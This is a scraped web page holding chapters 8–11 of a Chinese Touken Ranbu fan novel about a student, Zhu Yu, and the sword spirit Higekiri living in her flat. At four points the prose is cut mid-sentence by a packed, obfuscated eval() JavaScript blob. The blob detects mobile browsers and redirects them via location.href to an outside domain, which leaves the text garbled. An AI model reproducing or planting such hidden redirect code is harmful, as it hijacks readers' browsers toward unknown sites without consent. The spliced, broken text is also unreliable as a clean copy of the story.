;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268187|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会卷走他手中的东西一样。 那动作幅度很小,快到几乎让人觉得是错觉,但他复又低头确认袋子安稳时的目光却清晰地落入祝虞的眼中。 “咳,”祝虞忍住自己不断上扬的唇角,清了清嗓子决定打断这有点可爱的沉默,“现在是和平年代,付过钱的东西,一般不会被人抢走的。” 髭切:“嗯?是这样吗?” 祝虞:“是这样啦。” 她应了一句。 祝虞本来想直接回家,但是路过小区门口便利店时脚步一停,想着来都来了,干脆把她的零食箱也补充一下好了,于是拉着髭切拐弯迈步进去。 方便面要囤积一些,家里好像没剩几包了。日式豚骨面……真的是日式的吗?回头让髭切尝尝。酸辣味的好吃,多拿两包。 果干好吃,买一包。 这个饼干看起来不错,买一盒尝尝。 “你觉得我买青柠味还是黄瓜味,哥哥?”祝虞站在货架前拿着两包薯片纠结着,随口问向身后的髭切。 付丧神似乎还没反应过来这句话是在叫他,直到被祝虞戳了一下胳膊才将目光落到她的身上,顺着她的视线看向她的手中。 他认真的思索片刻,回答:“做选择吗?唔……都很喜欢吗?那就都要好啦。” 祝虞抬头仔细看了他一眼。 付丧神歪歪头,回以一个微笑。 “原来是这种溺爱类型吗?”她嘀嘀咕咕的,依言将两包薯片全部拿下。 直到千辛万苦地回到家,祝虞一打开家门就扔下东西瘫在沙发上,有气无力地说:“下次出门大采购……我一定推个车。” 昨天出门是买大件,她会时刻提高警惕心绝不多花钱。 今天出门只是想带人熟悉环境的同时买些小物件,结果先是早点又是水果再是零食和日用品,莫名其妙地就买了很多东西。 等到他们从便利店出来时,每个人手中都提了大包小包,看上去就跟逃难似的。 她摸出手机看了一眼自己的余额。 该省省该花花,结果不还是扣扣搜搜地花了很多钱吗? 捧着手机的祝虞悲从中来,忧伤地沉沉叹气。 “这个要放在哪里呢?” 后一步进家门的髭切看上去比她从容多了,将手上挂着的袋子举起来向她展示了一下。 祝虞:“你的早点先放进冰箱……冰箱就是……算了给我吧,我放进去。” 她挣扎着从沙发上爬起来,先是接过对方手中的食物放进冰箱,又挑挑拣拣地把方便面鸡蛋蔬菜等等放进厨房支架,把零食放进客厅零食柜,把日用品分门别类地放好。 忙活完这一切,祝虞重新躺回沙发,以为做了这么多事怎么着应该都到中午了,一看时间竟然才九点钟。 “原来上午的时间过得这么慢吗?” 已经很久没有在早上七点起床的祝虞如此感叹。 不用上课暂时也不用做饭,距离午睡也有很长时间。 花了这么多钱的祝虞有点要吃不上饭的焦虑紧迫,她决定趁这个时间打开电脑好好干活赚点零钱。 但是……髭切怎么办呢? 吹着空调的祝虞看了看旁边沙发上的付丧神,想了想自己平时是怎么消磨时间的,灵机一动说: “我教你打刀剑乱舞吧!” 髭切抬头看了过来。 8. 反穿第八天 M-a1633号本丸是一个既普通也特殊的本丸。 从编号上就能看出来本丸的成立时间相对较早。按照早期时之政府选拔审神者唯灵力论的标准,这个本丸的审神者应该也是个灵力十分强大的人。 如果没有意外的话,这个本丸应该与它同期的大部分本丸一样,成为诸位挣扎于战场的审神者所仰望羡慕的全图鉴满刀账S级本丸的顶级存在,早早进入养老咸鱼期。 而现在就是发生了意外,所以XY-r0194号本丸的审神者才能在演练场上遇到他们的第一部队。 本丸的日常任务需要至少与其他本丸进行三场演练并胜利。演练名单一共会出现五个选择,前四个一般都是与自己水平差不多的本丸,只有第五位才会是高等级大佬。 审神者引灯是一年前入职的新人,每天为了等级肝生肝死,本丸的日常任务从来都按时甚至超额完成。 比如说一天当中演练场会刷新两次,即有十次挑战其他本丸的机会,他每次都会打满八次——剩下两次第五位不打是因为他有自知之明。 而现在,他站在演练场外,再一次不可置信地揉了揉眼睛,终端上对面队伍的编号还是惹眼醒目的M-a1633。 “难道我手滑点错了?” 他下意识以为自己选中了第五位高等级大佬,但是他定睛一看,发现编号旁边的小字等级与自己相差不大。 也就是这个本丸虽然编号很早,但等级与他这个新入职一年的差不多。 “有什么问题吗,大将?”藤紫色眼眸的付丧神注意到他的异样,出声问道。虽然是少年体型,但气质意外的成熟可靠。 引灯困惑地挠挠头:“没什么啦,就是这个本丸建立时间很早,但等级不太高。” 可能这个本丸的审神者是那种咸鱼躺平类型? 这样猜测着,引灯下意识将目光投向对面。 选定演练对象后,审神者连同第一部队就会被传送到虚拟演练场上。在演练开始前有十分钟的准备时间,他可以隔着不远的距离观察到对面的情况。 对方派出的队伍很常见,是四振太刀两振短刀的阵容,六振刀都已经极化。这个本丸的审神者大概在用极短带极太练级? 但是引灯左右看了看,没有见到他们的审神者。甚至直到演练结束,也只是对方部队的队长膝丸来和他礼貌道别,看起来十分熟练的样子。 他忍了又忍,还是没忍住向对面的膝丸问道:“呃……你们的审神者没来吗?” 薄绿发色的付丧神不知为何似乎有点走神,停顿了半晌后才表情严谨地说:“家主最近有些忙碌,没有来本丸。审神者大人有什么事情吗?我可以代为传达。” 虽说时政并没有强制要求审神者必须出席每一场演练,但出于尊重的考虑大家还是会尽量出席。况且在两方刀剑打演练场时,他们审神者之间也可以交流沟通,这是交友的一个主要渠道。 反正引灯打了这么多次演练场了,鲜少见到现在这种情况。 好不负责啊,那位入职时间早的咸鱼前辈。 他在心中这样想着,面上却只是摇摇头:“没事,就算审神者不在你们打得也很好哦,加油!” 他这样说着,心里不免有些唏嘘。 唉,多好的付丧神啊,竟然倒霉地摊上这样一个咸鱼婶。 而另一边,被他评价为“十分有自主性”的M-a1633本丸在等待下一个对手到来时也在闲聊着。 “唉……主人什么时候能来本丸呢?”乱藤四郎卷了卷自己搭在肩上的头发,有些羡慕地看着对面跟蹦蹦跳跳跟随审神者离开的一振乱藤四郎。他鼓了鼓脸颊,“我也想和主人一起玩。” 虽然已经习惯了没有审神者陪伴的日子,但偶尔也会羡慕能每天见到主人的同振啊。 自诞生起就从未见过审神者、只能感受到审神者灵力存在的M-a1633本丸的乱藤四郎如此想着。 “前几日似乎听狐之助说已经在与主人联系了哦,想必过不了多久就可以与主人见面了吧。”白发红瞳的付丧神用手指梳理着自己形似狐耳的头发,笑眯眯说,“嗯,不知道之后可不可以请主人帮忙整理毛发呢?” “真的吗真的吗?”乱藤四郎眼睛一亮。 “真的哦,”小狐丸慢悠悠地说,“狐之助前往现世的那天,正好也是膝丸殿担当近侍的那天呢——髭切殿也是那天被锻造出来的吧?没有在仓库中见到本体,据说就是因为显形通道出了一点意外,所以直接在现世显形了。” 他说这话时目光一直若有若无地瞥向今日队伍的队长,但本该对其早有反应的付丧神却没有意识到。虽然表情一如既往,但明眼人一瞧就知道他此时大概是在发呆。 小狐丸轻轻挑眉。 似乎今日演练开始到现在,这位常年担当本丸近侍的付丧神就一直在走神呢。 乱藤四郎不知道他心中所想,他选择直接对着没说话的膝丸提问:“膝丸殿,髭切殿现在就在现世吗?” “……”膝丸回过神来,轻轻抿唇,“狐之助是这样说的。” 不仅在现世,或许还在家主的身边吧。 膝丸心想。 最为了解家主的付丧神可能不是他,但在了解家主的同时最熟悉兄长的付丧神一定是他。 方才动用灵力时,似乎不仅仅只有一种气息啊。 况且,家主已经习惯了让他们付丧神自己做阵型选择,只会在侦查失败时出手替他们选择。可是今日却破天荒的没有给他们选择的机会。 ……灵力的另一端,会是兄长和家主两个人吗? 直到下一场演练的对手出现在眼前,在刀锋出鞘的前一刻,膝丸还是忍不住心想。 兄长和家主,此时在做什么呢? “不要哇阿尼甲!!这个是不利的阵容啊!!”祝虞大惊失色,试图阻止确定但还是慢了一步,只能眼睁睁看着两个方阵对冲。 “嗯?”坐在她身旁和她一起看手机的付丧神看着两方刮痧似的互殴,笑呵呵说,“嗯嗯,不管是赢还是输都对双方有利,是好事呢。” “……这句台词是在这时候说的吗?”祝虞吐槽。 好在今天为了教髭切怎么打游戏,祝虞特意组了一队防御值拉满的极太队,她选定的对手也是一队极太。 在两轮只掉刀装的刮痧下,两方比起来,最后竟然是她的队伍以微弱的优势取胜。 祝虞松了一口气,转头就说:“绿色的图标是不利阵型,红色的图标是有利阵型,不要记反了。” 其实记反了也没关系,反正现在也有了自动选择,不像前些年二倍速和自动选阵型什么都没有,纯靠手肝。 说完演练,祝虞又点开其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268188|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选项挨个教髭切怎么使用。好在中文的汉字他也认识一点,就算不认识也能连蒙带猜,只要他没有突发奇想,祝虞的教学成果还是很有效的,没过一会儿对方就带着一队极太刷完一圈回来了。 “其实还是很简单的。”祝虞调整着队员顺序,让小狐丸替换膝丸担当队长,一边说道,“基本上不用怎么多动脑子。” 髭切不知道有没有在认真听,他只是盯着编队的界面看了一会儿,随即阻止了祝虞点击其他按钮的动作,指了指飘花的膝丸问道:“为什么飘花丸的颜色不一样呢?” “不一样?”祝虞愣了一下,“你是说边框颜色吧?哦,因为他是近侍。” “近侍……”髭切慢慢重复了一遍她的话。 之前祝虞已经为髭切解释过近侍的概念,大概就是今日审神者职务的代行者。 她瞧着付丧神若有所思的样子,以为对方还有些没弄清楚的疑问,于是开口准备重新解释一下:“近侍就是……” “我显现那日的近侍也是飘花丸吗?”髭切冷不丁问道。 祝虞神色一顿。 髭切看着她:“让我想想……嗯,家主这几日一直让飘花丸担当近侍吗?” 祝虞:“……” 髭切:“哦呀,家主的近侍一直都是飘花丸?” 祝虞:“…………” 她试图解释一下,但付丧神的声音抢在了她说话之前。 髭切微笑盯着她,竖瞳的猫眼亮着幽幽的光:“家主很喜欢弟弟呢。” 祝虞:“………………” 她张了张口,大脑还处于被步步紧逼下没反应过来的宕机,于是就连气音都没发出来。 两人对视着,最后是祝虞受不了的移开视线,捂住自己的眼睛,声若蚊蝇:“……没有。” 髭切:“嗯?” 祝虞小声说:“……没有一直。” 她的近侍也是轮换的啊,也不是一直都让膝丸担当近侍的,只是膝丸的次数稍微多了一点点而已。 祝虞条件反射般的反驳,在髭切意味深长的目光中忽然意识到什么。 等一下,我心虚什么? 她猛地反应过来。 玩游戏,有心水的墙头这不是很正常的事情吗?别说喜不喜欢了,对着其他墙头她也不是没叫过宝宝老公亲爱的啊! 所以归根到底还是髭切的步步紧逼,搞得像是家长抓孩子早恋一样吧! 但是她还真的不能不解释。 ……因为面前这位还真是对方的亲哥。 总而言之,祝虞还是挣扎解释了片刻,核心意思就是“我的确是喜欢你弟弟,但不是那种喜欢。让他担当近侍也是因为习惯了而已”。 如此长篇大论下,不知道髭切信还是没信,反正祝虞自己是被说服了,然后越发觉得自己之前只是几句话就被问得哑口无言的样子太单纯好骗了。 她心累地叹了一口气,试图转移话题:“内番好像结束了,我们看一下内番吧!” 髭切没说话,祝虞迫不及待地跳过编队,点开内番。 下一瞬她又哑火了。 髭切依旧微笑着,只是这笑容怎么看都有一种手机不保的危险:“哎呀,是家主的安排吗?飘花丸在和小乌丸殿一起耕作呢。” 祝虞:“……” 我说我是不小心的你信吗。 9. 反穿第九天 众所周知,刀剑乱舞是一个非常无聊的游戏。它的游戏机制、游戏界面、用户体验种种方面都无聊到一种让人怀疑它是怎么活了这么多年而没有半道崩殂的地步。 但能玩下去的人总归是在其中找到了什么乐趣,无论是收集癖还是喜欢一刀一个时间溯行军的快感亦或是单纯喜欢某位付丧神。 ……所以说,我只是想找点乐子,幻想一下膝丸和小乌丸一起畑当番时会发生什么也不为过吧! 她当然知道历史上源平两家的恩怨纠葛,但是、但是……这不是根本没想过游戏是真的,里面的付丧神也是活的嘛! 她要是知道自己恶趣味的排了内番,而付丧神真的会在另一个空间认认真真执行的话,她当然就不会这么缺德了! 祝虞挣扎着,努力着,最后鼓起勇气说: “就是为了提高生存值嘛,然后就,就排在一起了。” 看着髭切的神色,她又小声补充了一句:“没有别的意思。” 可恶,现在能不能忽然来一个电话救救她啊。那些什么骚扰电话诈骗电话随便哪一个都行啊! 或许是祝虞今天的运气很不错,也或许是某位活菩萨和她心有灵犀听到了她的请求,最后祝虞真的逃离了案发现场。 因为就在髭切笑眯眯地盯着她时,一个电话打了过来。 给付丧神新办的电话卡除了她之外没有第二个联系人,这个电话只能是打给她自己的手机——也就是付丧神手中正停留在内番界面的那一部。 正在绞尽脑汁寻找理由的祝虞大喜,用一种就连付丧神都没反应过来的速度把自己的手机从他的手中夺来,连来电人是谁都没看就接听了电话。 “喂喂,你好?找我有事情?好的稍等一下,我找一个安静的地方细聊。” 没等电话那边的人开口,祝虞便一口气不间断地说了这番话,一边说一边对似笑非笑的付丧神做出“不好意思”的神色,转头就进了卧室。 房门隔绝了付丧神如有实质的目光,祝虞这才松了一口气,有空去看到底是谁给她打的电话。 ——备注是荀芝。 祝虞有点奇怪。 现在网络这么发达,除非十万火急或者正式通知,熟悉一点的朋友一般都会用微信联系,很少有直接一个电话打过来的情况,更何况和她从小一起长大的发小荀芝。 她们两个昨天还聊到半夜呢。 这么想着,她也干脆直接问了:“你怎么给我打电话啊?” 电话另一端许久都没有说话。 祝虞困惑:“喂?还在吗?” 这一次对方倒是出声了,但是开口第一句就非常谨慎:“你叫什么?我们是怎么成为朋友的?你现在最喜欢的二次元纸片男是谁?” 祝虞:“……你有病吧。” 荀芝声音严肃:“在你回答我的问题之前我是不会说一句话的。” 祝虞无声地翻了个白眼,还是配合着不停歇说道:“姓祝名虞全名祝虞;第一次见面是在一年级,因为有人骂我爸妈离婚没人要的小孩所以你和我一起揍了对方一顿;最喜欢的二次元纸片男叫膝丸。” 荀芝:“不对吧,你不是说他叫髭切吗?” 一提这个名字祝虞就眼皮直跳:“你记错了,髭切是他哥!” “哦哦我想起来了,就是那个眯眯眼一看就一肚子坏水的金色大狮子是吧!”荀芝松了一口气,想了想又狐疑问,“那也不对啊,按照你的性格来说喜欢的不该是哥哥吗?怎么会是弟弟?” 祝虞无语,但是懒得多说什么,直接道:“所以你刚刚问那些问题做什么?” “你还说我?”荀芝吐槽说,“我给你发了十几条消息你一条也没回,就只好打你电话。接通电话后什么都不说先念了那一通奇奇怪怪的话,搞得像是被绑架了只能用那种方式传递信息一样。” 最后,她下了总结:“你刚刚要是没回答出来那些问题,我就立刻报警去救你。” 祝虞被她的雷厉风行震住了。 她翻了翻手机,发现对方确实给她发了好几条消息,都是问她要不要出来玩。时间跨度从昨天晚上到刚才,大概是她早上一直没来得及看手机、再加上被游戏模式屏蔽了消息所以没看到。 她又感动又觉得好笑:“谢谢你,但是我好着呢。这几天有点事情,先不出去玩了。” 荀芝:“不是吧,现在不是在放假吗?你要是不想来T市这边担心碰到你爸妈,我去你那边找你也可以。” 祝虞:“不是因为这个啦,就是,嗯……最近有点忙。又要准备考研、又要打工挣钱,所以没有什么时间。” 能怎么说,她总不能说因为我在这边养了一个男人吧? 那样荀芝是真的能当天晚上定车票冲过来把她暴揍一顿让她清醒清醒的。 她又说了一会儿话,好歹让对方放弃了来这边找她的念头。荀芝转而嘟嘟囔囔道:“你那么忙,就赶紧把你那个日本人远方表哥送走吧。真是的,你们家亲戚到底怎么想的,怎么让你来照顾他?” 祝虞打着哈哈:“嗯嗯……是走了。” 说起来荀芝发给她的那些学日语的书她还一本没看,学校图书馆里应该会有这些书吧?过几天她还要回学校一趟。 祝虞一边思索着自己之后几天的计划,一边和荀芝闲聊。 她巴不得对方多和她闲扯一会儿直接让客厅里的髭切忘记内番的事情,但是荀芝听不到她的内心所想,确定了她的安全,和她聊了一会儿后就挂断了电话。 祝虞一个人站在卧室。 她盯着房门,深呼吸,默念自己想好的对策,直到做好了心理建设才重新推开门走出去。 然后和沙发上姿势根本没有变化的髭切四目相对。 祝虞:“……” 她清了清嗓子,装作若无其事地走过去,坐到他的身旁。 “我刚刚想了一下,其实可以把膝丸和小乌丸的内番时间错开,这样他们大概就不会遇到了。” “家主是这样想的吗?”髭切笑盈盈地问。 祝虞点头。 髭切垂眼看她。 少女努力睁圆了眼睛,露出无辜的神色——她的眼睛其实和髭切有一点微妙的相似,只是相较于付丧神微微上挑在某些时候显出攻击性的上挑眼尾,她的眼睛轮廓弧度很柔和,没有任何攻击性。 从小到大,她没少用这双眼睛装无辜去换取自己想要的东西。 髭切盯着她。 祝虞疑惑回看他。 切回游戏的背景音乐流水般淌过,在某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268189|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个瞬间内番结束,一个两人都熟悉的声音蓦地响起: “兄者が腹いっぱい食べて、喜んでくれればいいのだ。うむ。” 髭切看向手机屏幕:“是弟弟呢。” ……应该是可以了吧? 祝虞不太确定的想着。 看髭切的样子似乎是被转移了注意力,祝虞在心中悄悄松了一口气,试探地问:“那我现在把内番名单换一下?” 髭切暂时没说话,祝虞默认了他的选择,于是伸出手,想要调整一下人员。 但是一只手抓住了她的手腕。 祝虞的动作卡在半路,茫然回望:“怎、怎么了?” “‘生存值’……是这样说吗?既然是为了让弟弟丸变强,那就依照家主的意思来吧。”髭切语气堪称温和的说。 祝虞轻轻“啊”了一声,更加摸不着头脑了。 她动了动嘴唇,想要再多说几句,在对方的下一句话说出口时猝然顿住了。 “源氏也好,平家也好,都已经是很久、很久之前的事情啦。”髭切弯了弯眼眸,语气平和,像是在说别人的事,“执念、仇恨……已经不必要执着了吧?” 祝虞欲言又止。 髭切:“您是家主,是源氏重宝、平家那位宝刀、还有各种名刀的主人哦。” 他微微倾身,像是叹了一口气,也仿佛是祝虞的错觉。 付丧神用一种微妙复杂,似是掺杂了无奈、怜惜、以及更深沉的,近乎忧虑的审视。 “家主呀,刀剑是被人类挥舞使用才会存在价值的玉钢砥石——在使用它时,您只需要遵从内心的声音。” “若是有不谐之音……”付丧神话音一转,眼中的柔和尽数散去,茶金色的眼瞳微微敛起,语气轻飘飘的,却带着不容置疑的重量,“无论是鬼还是刀,只要斩断就可以啦。” 祝虞:“……” 阿尼甲,你知道你口中的“不谐之音”是在说你自己吗? 两人的距离已经超过了正常社交距离,祝虞本能感到不习惯。她想要向后仰头拉开距离,却发现自己身后就是沙发,避无可避。 祝虞只能僵硬地维持着身体不动,呼吸无意识屏住,却依旧感觉到有浅浅的、潮湿而温热的呼吸落在脸颊上,带起轻微的痒意。 付丧神不会觉得过近的距离有多暧昧,他的心跳依旧维持着八风不动的平稳,就连手指还在有一搭没一搭地轻敲着身侧。 但经过这么多天的观察,他知道这样的距离会让人类、尤其是他的家主感到不适应。 于是他的脸上挂着一如既往的温软微笑,低头、逼近、直到—— “停下。”尾音急促的声音骤然响起。 没有任何修饰,平铺直叙的简洁命令,越过语言的障碍,突兀地在付丧神的脑海中响起。 似是有一道无形的力量随着声音而显现于空气当中,在出现的一瞬间便遵从主人的命令,化作丝丝缕缕的透明丝线将面前的付丧神紧紧缠绕。 极近的距离下,祝虞发现付丧神茶金色的眼瞳亮得惊人,像是发现了什么意外之喜,有种近乎非人的惊心动魄。 “啊呀,这不是很勇敢嘛。”他轻笑了一声,虎牙若隐若现,“如果有刀意图冒犯您,就按现在这样去做哦。” 10. 反穿第十天 祝虞:“……” 她深吸一口气,瞪着被灵力束缚的付丧神,面对那张无辜微笑的脸,忽然有种把他就这么丢出家门的冲动。 祝虞知道髭切想说什么。 她承认她的确还没做好统领一整个本丸付丧神的准备。在髭切显形前,她也根本没想过玩个游戏而已,还真要亲身上阵当大领导。 所以在面对自己有好感的二次元纸片男时,她不自觉就带上了敬畏的心态。尤其是髭切身上那种大佬气场太强,更是加重了这种心理暗示,让她在面对他时不自觉地就会选择让步。 他看出来了。出于以后的考虑,他选择引导她纠正。 祝虞不会因为这种事情而恼怒。 但是、但是—— 哪有他这样先把人惹急眼了,再告诉她如果有人冒犯那就也这么做的? 他知不知道现在冒犯她次数最多的刀就是他自己? 祝虞深深呼吸,好歹克制住了自己的冲动,维持着自己面上的平静说:“我知道了,我会注意的。” “现在,”她不是很想给以下犯上的付丧神好脸色,干脆冷着一张脸说,“你是不是该让开了?” 她有意学着对方语气阴阳怪气,虽然冷着脸,但声音格外甜蜜。 髭切眨了眨眼,像是沉思了一瞬:“嗯,我也觉得我该让开了。” 祝虞:“所以呢?为什么还堵在这里?” 髭切叹了口气:“好像动不了呢。” 祝虞:“……” 她这才发觉对方身上丝线般的灵力还没散去,牢牢地将付丧神固定在原位。 这应该是她刚才在紧急时刻无意识动用的灵力,当时唯一的念头就是让他停下,所以直到现在也没消失。 但是,这东西到底该怎么解开? 祝虞动了动身体。 她发现一件很尴尬的事情——髭切刚刚故意凑近她,几乎是脸庞悬停于她的眼前,是只要她抬头,两人就能亲上去的距离。 只有空调嗡嗡响声的环境中,燥热的尴尬最先越过愤怒升起。 祝虞紧紧贴在沙发上,一动不敢动。 向上看,是一双蜜糖般的茶金色眼瞳,里面清晰的映出恼怒的面容;向下看,是他撑在沙发上的手臂,线条流畅有力,带着潜藏的爆发力。 她的喉咙轻轻滚动,挤出来一句话:“你先别动,先让我出去。” 沙发和髭切之间唯一的空隙只有他手臂撑起的空间,祝虞从中挤了出去,一脱身就直奔卧室——狐之助曾经给她留下过时之政府的联络器。 时之政府那边似乎有人在值班,很快就给了她回复。 【您是说您在没有人指导的情况下,无意识地对付丧神使用了言灵?】 原来这就叫“言灵”? 祝虞思索着,回复了“是”。 联络器那端沉默了许久才发来一个视频,是一个脸上戴着护神纸的人在用日语演示着什么动作,大概是教学视频,随件而来的是两条消息。 【通常而言,与审神者灵力同源的付丧神最容易受到审神者的灵力影响,无论是增益类术法还是伤害性术法。】 【尽管如此,您的灵力天赋依旧令人惊叹。】 直到听到视频中的声音,祝虞才忽然意识到她和髭切方才的对话完全没有借助手机翻译软件。但是无论是她还是髭切都听懂了对方的说话,像是有什么心灵感应一样,在话语说出口的那刻就有意念般的力量传递在脑海中。 或许这就是狐之助所说的异国审神者即便没有翻译也能和本丸付丧神交流的意思? 祝虞没觉得自己的灵力天赋有多么出众,反正她从小到大都没被人觉得是个异于常人的小孩。 但对方这样说了,她便道了声谢谢,转而研究时之政府发来的视频。 这时,对方发来了最后一句话。 【近日时间溯行军猖獗,战事紧张,希望您多加注意安全。】 祝虞不太理解这句话。 明明她不在本丸,除了操纵出阵外对时间溯行军应该做不了什么过多的事情吧?难道说时之政府觉得战事会波及到她的身边、所以让她注意安全? 她有点困惑,不过现在的当务之急是把髭切身上的言灵解开。在将这条消息记在心里后,祝虞回复:“好的,我知道了,谢谢你的提醒。” 祝虞继续研究视频。 在她努力的时候,髭切也在努力。 但是与其说他在努力冲破,不如说在兴致勃勃地试验束缚对他的限度。 最后不知怎么的竟然从坐姿换成了安详地躺在沙发上,像是在cos尸体。 祝虞学完教程,信心满满地想要试验一下,一出屋门就看到了他这幅样子。 ……人在无语时是真的会笑的。 她恶从心起,脚步一转去厨房拿了一个新买的红彤彤的苹果出来,不由分说的塞到了付丧神交叠在腹部的手中。 忽然被塞了个苹果的髭切:“?” 祝虞:“不许动,闭眼。” 虽然不知道家主在做什么,付丧神这时候还是很听话的闭上了眼睛。 视觉被剥夺,但光亮依旧从薄薄的眼皮透映过来,在某一个瞬间黯淡几分,于是他知道,这是祝虞站在了他的面前、挡住了光。 说起来,人类的体温竟然是这么热的吗?明明从烈火当中淬炼出来的是刀剑,可比刀剑的温度更高的反而是从温和母体当中诞生的人类。 髭切在心中慢吞吞的思考。 祝虞不知道他在心中思考什么哲学问题,她把这张刀剑付丧神cos白雪公主的照片保存下来,顺手按照视频教程解除了他身上的言灵。 但髭切还是躺在沙发上一动不动。 她提醒着:“我解开言灵了。” 髭切一动不动,嘴里叽里咕噜说了一段话。 祝虞遗憾发现随着言灵消失,她也失去了和髭切语言互通的能力。 时之政府不建议她在没有专人指导的情况下自学灵力术法,她也只好借助最古老的沟通方式——手机翻译软件。 祝虞:“你刚刚说什么,没听懂。” 髭切:“我说,家主要吻醒我吗?” 祝虞:“?” 祝虞惊呆了。 她的第一反应是本丸里总是耍流氓的不是那振只会“哈哈哈”笑着内番+0的老爷爷吗,什么时候髭切也有了这个属性了? 第二反应是,不对,他怎么知道我在让他cos白雪公主。 第三反应是,他怎么会知道白雪公主需要王子来吻醒这个梗啊! 她没忍住问:“你从哪看来的?时之政府还教你们这个吗?” 髭切:“欸?这是昨晚家主给的书里写的呀。” 为了让付丧神了解常识还有学习中文,祝虞的确是在他的手机上下载了中日双语版的小学课本,还把自己之前做家教教小学生时买的二手书课本给了他。 想明白这点,祝虞干巴巴说:“那你还挺学习致用的。” 髭切:“谢谢夸奖。所以家主需要吻醒我吗?” 祝虞没忍住抓了一个沙发上的抱枕扔过去砸到他的身上:“吻什么吻,我还没有找你算账!” 付丧神敏锐的五感在抱枕袭来的前一刻就察觉到了微弱的风声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268190|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但他只是动了一下手指,克制住本能的反抗动作,任由抱枕砸到脸上,这才慢吞吞地抱着抱枕坐起来。 他的头发经过这番动作有些炸毛,在脸颊边不听话的翘起。 髭切歪头,眼中带着没有掩饰的笑意。 “嗯,面对不听话的下属确实需要惩罚呢。” 他飘忽的语气和那种“我家孩子终于会打人了”的欣慰感,让祝虞的脸红得像要滴血,羞耻感爆棚,想要咬人的冲动前所未有的强烈。 但她觉得现在咬他,这人——哦不,这振社会化程度明显不够的刀,估计一点也不会觉得这是惩罚。 于是她呵呵冷笑两声:“你想要什么惩罚?” 髭切直勾勾看着她,唇角带笑:“您要给予我什么惩罚呢?” 如果他们在本丸,祝虞绝对像他教的那样,把他发配到奥州合战24小时远征等她气消了再回来。要么就是让他替他弟弟去值一个星期的畑当番。 但这里不是本丸,祝虞既没办法罚他去远征,也没办法罚他内番。 她环顾客厅周围,目光最终停留在引起这一切祸端的手机上。 屏幕当中,作为近侍的薄绿发色付丧神再一次刷新出来一句方才谁也没有在意的放置语音。 “いかんな……兄者がまた妙なお告げを受信しているのではないかと思うと落ち着かん。”(不好……一想到兄长可能又收到了什么奇怪的神谕我就坐立不安。) 祝虞站了一会儿,一个绝妙(且邪恶)的主意瞬间成形。 - 本丸今天的近侍膝丸觉得他的家主好像疯了。 虽然从本丸的初始刀加州清光显形到现在从来没有刀见到过主人,但灵力某种程度上也能体现主人的性格,所有付丧神都觉得自己本丸的主人是一个强大且温柔的人。 主人从未在本丸出现过,但他/她下达的命令却从未出错。虽然偶尔会长时间不下达命令,但膝丸觉得这也是主君给予他们的假期,让他们在忙碌紧张的战事中有休息的机会。 至于出阵,他/她的命令也很规律,基本上只活跃于白天或者夜晚,也会留给他们充足休息的时间。 但是今天不一样。 从演练场回来后,他发现本丸的主人重新拆分了四个部队的成员,然后四支部队交替着轮流出阵,再不时替换没出阵过的付丧神。 这番安排下,几乎是整个本丸的付丧神都从休假的氛围中被惊动了。 已经满99级、没有极化的三日月莺丸等长廊喝茶组满眼迷茫地被拽走换出阵服;在太阳底下晒太阳,昏昏欲睡的明石国行被萤丸拖走;几振小短刀欢呼雀跃地冲去后山,把赤裸上半身满脸懵逼的山伏国广也揪了出来。 换句话说,整个本丸的付丧神——无论是极化还是没极化、满级还是没满级——都被拽起来开始练级了。 膝丸没觉得他们付丧神会怎样——毕竟主人的出阵安排还挺合理的,并不会让他们感到非常疲惫。 但是主君是人类啊,这么高强度地动用灵力耗费精力,他/她真的受得了吗? 膝丸甚至想到兄长大概也在家主的身边。兄长那种个性……家主一个人真的可以吗? 糟了,家主该不会就是被兄长逼疯的吧? 膝丸忧心如焚、心事重重,恨不得能回炉重造冲到现世。 现世。 祝虞叉腰站在沙发前:“不许睡觉,你弟可是连一级都没升呢!” 髭切捧着手机,昏昏欲睡,声音软绵绵的:“没关系,杂草丸可以给家主种一年的地,我同意了。” 祝虞:“哼哼,晚了,我不同意!” 11. 反穿第十一天 